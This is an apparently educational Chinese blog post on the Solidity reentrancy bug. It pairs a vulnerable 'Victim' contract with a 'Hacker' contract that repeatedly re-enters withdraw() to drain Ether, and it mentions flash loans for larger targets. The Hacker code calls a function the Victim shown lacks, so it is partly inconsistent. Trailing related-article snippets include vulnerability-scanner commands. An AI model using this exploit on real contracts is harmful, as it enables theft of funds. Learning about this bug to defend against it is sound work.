当前位置: 首页 > news >正文

重入漏洞Victim

重入漏洞

顾名思义,重入漏洞可以简单理解为“重新进入的漏洞”。举个简单的例子,你往某个合约里存入了1个Ether,然后点击退款,按理来说只能退一个Ether,但是可以利用重入漏洞反复退款,把合约里的Ether掏空。
以下,是一个有重入漏洞的合约,合约命名为Victim(受害者),主要实现几个功能:1)存款:用户往合约里存款,并给用户在合约里的账户记账(加);2)查询此合约的存款余额;3)取款:将用户之前存入的Ether转给用户并记账(减)。

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;contract Victim {mapping(address => uint256) public balance;function deposit() public payable {//存款函数balance[msg.sender] += msg.value;//存款后往用户账户上记账}function getBalance(address account) public view returns (uint256) {//查看余额函数return balance[account];//返回用户账上的记录}function withdraw() public {//取款函数uint256 currentBalance = balance[msg.sender];//获取用户当前在合约里的余额并赋值给currentBalancerequire(currentBalance > 0);//要求用户当前在合约的余额大于0(bool successful, ) = msg.sender.call{value: currentBalance}("");//调用call函数给用户退款(转Ether),如果成功就赋值successful为truerequire(successful, "Failed to withdraw Ether");//要求successful为truebalance[msg.sender] = 0;//记账:将用户当前在合约里的余额清空}
}

问题出在这三行:

(bool successful, ) = msg.sender.call{value: currentBalance}("");//调用call函数给用户退款(转Ether),如果成功就赋值successful为true
require(successful, "Failed to withdraw Ether");//要求successful为true
balance[msg.sender] = 0;//记账:将用户当前在合约里的余额清空

第一行中,受害合约使用call给合约调用者转Ether,但是并不知道调用受害合约的是钱包地址(EOA)还是合约地址(contract)。如果调用受害合约的退款函数的是一个合约地址,那么可以做文章的地方就来了。

合约和钱包地址不太一样,并不是默认接收Ether的。一个合约要想接受别人发送的Ether,需要有receive函数或者fallback函数,也就是说,一个能接受Ether的合约在接收Ether的时候并非是被动接受,还会调用函数。

这一点我之前是没想通的,为什么给一个合约发送Ether还会调用对方的函数。如果是现实世界举例子,就像是你给一个公司的账户转账,会触发对方设定的一些条款(比如让你继续转账)。但是这就是Ethereum的特性。

如果我是攻击者,该怎么做?在我自己的合约的receive或者fallback函数里进行攻击。我在Goerli测试网部署的攻击合约如下,命名为Hacker(黑客):

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;//不方便引入,所以直接把Victim合约复制过来了
import "./victim.sol";contract Hacker {address owner;Victim victim;constructor (address _victim) {owner = msg.sender;victim = Victim(_victim);}modifier onlyOwner {require(msg.sender == owner);_;}function getBalance() public view returns(uint256) {return address(this).balance;}receive() external payable {if (victim.getContractBalance() >= 1 ether) {//①决定了漏洞合约里最终剩多少钱,一般是下面的msg.value减去这里的数值victim.withdraw();}}function attack() public payable onlyOwner {require(msg.value >= 1 ether);victim.deposit{value:msg.value}();//②这里的msg.value不能超过上面①处的数值,否则循环的最后一次漏洞合约里的Ether不够,转账失败,整个攻击就失败了victim.withdraw();}function withdrawToHacker() public onlyOwner {payable(msg.sender).transfer(address(this).balance);}
}

在重入的时候,每次退款的数额似乎会有不同的结果,我模拟的结果显示:往漏洞合约里转100E,然后分别使用1E/2E/4E/5E/10E(都能整除100)重入,只有10E成功,其他都报错了(可能和循环次数/堆栈有关?)。针对这种情况,如果目标合约里Ether较少,用自有资金攻击即可,但是如果目标合约的Ether较多,可能需要配合使用闪电贷。

相关文章:

重入漏洞Victim

重入漏洞 顾名思义,重入漏洞可以简单理解为“重新进入的漏洞”。举个简单的例子,你往某个合约里存入了1个Ether,然后点击退款,按理来说只能退一个Ether,但是可以利用重入漏洞反复退款,把合约里的Ether掏空…...

wordpress数据库迁移Invalid default value for ‘comment_date‘

问题说明 最近在往新的电脑上迁移一个wordpress网站,在往新电脑上的mysql数据库中导入数据时,报错:1067 - Invalid default value for comment_date。 异常分析 这个错误的字面意思就是字段‘comment_date’的默认值是无效的,于…...

Xray联动RAD实现自动扫描教程

Rad下载地址:https://github.com/chaitin/rad xray下载地址:https://github.com/chaitin/xray Xray启动监听: xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output xray-xxx.html RAD启动爬虫抓包: rad_win…...

ES6 Proxy

定义: Proxy 可以理解成,在目标对象之前架设一层“拦截”,外界对该对象的访问,都必须先通过这层拦截,因此提供了一种机制,可以对外界的访问进行过滤和改写。Proxy 这个词的原意是代理,用在这里表…...

LSKA(大可分离核注意力):重新思考CNN大核注意力设计

文章目录 摘要1、简介2、相关工作3、方法4、实验5、消融研究6、与最先进方法的比较7、ViTs和CNNs的鲁棒性评估基准比较8、结论摘要 https://arxiv.org/pdf/2309.01439.pdf 大型可分离核注意力(LSKA)模块的视觉注意力网络(VAN)已被证明在各种基于视觉的任务上提供了卓越的性…...

muduo源码学习base——Exception(带 stack trace 的异常基类)

Exception(带 stack trace 的异常基类) 前置ExceptionCurrentThread::stackTrace() 前置 ABI: Application Binary Interface,应用程序二进制接口,可以参考:细谈ABI RTTI type_info: RTTI:Run Time Type Identificatio…...

2023-10-24 小总结

起始 不知不觉,作为职业码农,已经过去了4年。第4个1024了。 期间和Java、C#、JavaScript都打过交道。他们都很优秀。自然,好刀要在强者手中才能熠熠生辉。 快30了,回首过去,很感慨。发生了很多事,很多我都…...

2-MySQL的基本操作记录

1 数据库相关 -- --------------------表相关的---------- -- 查看字符集 show variables like %character%;show databases;# 创建数据库 create database test2;# 删除数据库 drop database test2; show databases;#查看当前使用的数据库 select database(); 2 用户相关 -…...

网站页脚展示备案号并在新标签页中打开超链接

备案时,我们就注意到,备案成功后需要在网站首页底部展示“备案号”,并将备案号链接至https://beian.miit.gov.cn。 这里我使用了WrodPress中的主题,主题自定义中有提供对页脚文本的编辑,支持用css标签定义样式。若是自…...

CentOS7 安装 nodejs

获取安装文件 node历史版本地址 安装 上传到服务器安装位置cd 到压缩包位置,执行解压安装操作 [rootps-fdcnops-01 /]# cd usr/local/nodejs/ [rootps-fdcnops-01 nodejs]# tar -xzvf node-v16.16.0-linux-x64 配置环境变量 [rootps-fdcnops-01 nodejs]# vim /…...

工程化测试:Apollo的单元测试与集成测试指南

前言 「作者主页」:雪碧有白泡泡 「个人网站」:雪碧的个人网站 「推荐专栏」: ★java一站式服务 ★ ★ React从入门到精通★ ★前端炫酷代码分享 ★ ★ 从0到英雄,vue成神之路★ ★ uniapp-从构建到提升★ ★ 从0到英雄&#xff…...

DevOps 笔记

01 总论 "DevOps"是一个术语,它是“Development(开发)”和“Operations(运维)”两个单词的组合。这个概念是为了强调并促进开发人员(构建产品)和IT运营团队(负责产品部署和管理)之间的沟通、协作与整合。通过DevOps,组织力求快速、高效地开发高质量软件,…...

基于食肉植物优化的BP神经网络(分类应用) - 附代码

基于食肉植物优化的BP神经网络(分类应用) - 附代码 文章目录 基于食肉植物优化的BP神经网络(分类应用) - 附代码1.鸢尾花iris数据介绍2.数据集整理3.食肉植物优化BP神经网络3.1 BP神经网络参数设置3.2 食肉植物算法应用 4.测试结果…...

Docker部署SpringBoot +Vue项目流程详解(含域名 + HTTPS)

文章目录 前言1、选购服务器2、部署 Docker3、前端、后端项目打包4、配置 Dockerfile5、配置 Nginx6、配置 DockerCompose6、启动 DockerCompose 完成部署7、【可选】域名 SSL证书 前言 本次整体部署操作使用阿里云服务器,这里我选择的是香港地区的2核2G ECS&…...

需要在 MySQL 服务器中监控的重要指标

MySQL是一个开源的关系数据库管理系统,它基于客户端-服务器模型运行,使用SQL作为其通信模式。它具有灵活性和可扩展性、高安全性、易用性以及无缝处理大型数据集的能力,由于其广泛的功能,MySQL 被用作数据库管理系统的一部分。 什…...

Hadoop之HDFS

目录 1.HDFS概述 1.1HDFS产出背景及定义 1.2 HDFS优缺点 1.3 HDFS组成架构 1.4 HDFS文件块大小 2. HDFS的Shell操作 2.1 基本语法 2.2 命令大全 2.3 常用命令实操 2.3.1 准备工作 2.3.2 上传 2.3.3 下载 2.3.4 HDFS直接操作 3. HDFS的API操作 3.1 客户端环境准备…...

【Matlab笔记_17】查找数组中相同元素

案例一:找到数组中相同元素所在位置索引 方法:使用unique函数用于找到唯一的元素和它们在原数组中的索引。然后,histc函数用于计算每个唯一元素的出现次数,并通过ismember函数找到重复元素在原数组中的索引。最后,通过…...

前端多媒体处理工具——ffmpeg的使用

写在前面 在前端领域,FFmpeg 是一个非常有用的工具,它提供了多种媒体格式的封装和解封装,包括多种音视频编码、多种协议的流媒体、多种色彩格式转换、多种采样率转换、多种码率切换等。可以在多种操作系统安装使用。 安装 下载FFmpeg 在网…...

Pandas 数据分析系列1--SeriesDataFrame数据结构详解

Pandas 概述 Pandas 是一个开源的数据分析和数据处理库,是基于 NumPy 开发的。它提供了灵活且高效的数据结构,使得处理和分析结构化、缺失和时间序列数据变得更加容易。其在数据分析和数据处理领域广泛应用,在金融、社交媒体、科学研究等领域都有很高的使用率和广泛的应用场…...

【模型部署】c++部署yolov5使用openvino

1. 推理方式 CPU推理GPU推理(要求电脑具备核显,即CPU中有嵌入显卡) 2. openvino依赖项下载 https://github.com/openvinotoolkit/openvino/releases 直接解压(随便放到哪个路径) 环境配置 ********(…...

Flask RESTful 示例

目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题: 下面创建一个简单的Flask RESTful API示例。首先,我们需要创建环境,安装必要的依赖,然后…...

Python实现prophet 理论及参数优化

文章目录 Prophet理论及模型参数介绍Python代码完整实现prophet 添加外部数据进行模型优化 之前初步学习prophet的时候,写过一篇简单实现,后期随着对该模型的深入研究,本次记录涉及到prophet 的公式以及参数调优,从公式可以更直观…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)

可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...

MODBUS TCP转CANopen 技术赋能高效协同作业

在现代工业自动化领域,MODBUS TCP和CANopen两种通讯协议因其稳定性和高效性被广泛应用于各种设备和系统中。而随着科技的不断进步,这两种通讯协议也正在被逐步融合,形成了一种新型的通讯方式——开疆智能MODBUS TCP转CANopen网关KJ-TCPC-CANP…...

苍穹外卖--缓存菜品

1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得,如果用户端访问量比较大,数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据,减少数据库查询操作。 缓存逻辑分析: ①每个分类下的菜品保持一份缓存数据…...

NFT模式:数字资产确权与链游经济系统构建

NFT模式:数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新:构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议:基于LayerZero协议实现以太坊、Solana等公链资产互通,通过零知…...

MySQL中【正则表达式】用法

MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现(两者等价),用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例: 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...

自然语言处理——循环神经网络

自然语言处理——循环神经网络 循环神经网络应用到基于机器学习的自然语言处理任务序列到类别同步的序列到序列模式异步的序列到序列模式 参数学习和长程依赖问题基于门控的循环神经网络门控循环单元(GRU)长短期记忆神经网络(LSTM&#xff09…...

Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)

目录 一、👋🏻前言 二、😈sinx波动的基本原理 三、😈波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、🌊波动优化…...

力扣-35.搜索插入位置

题目描述 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...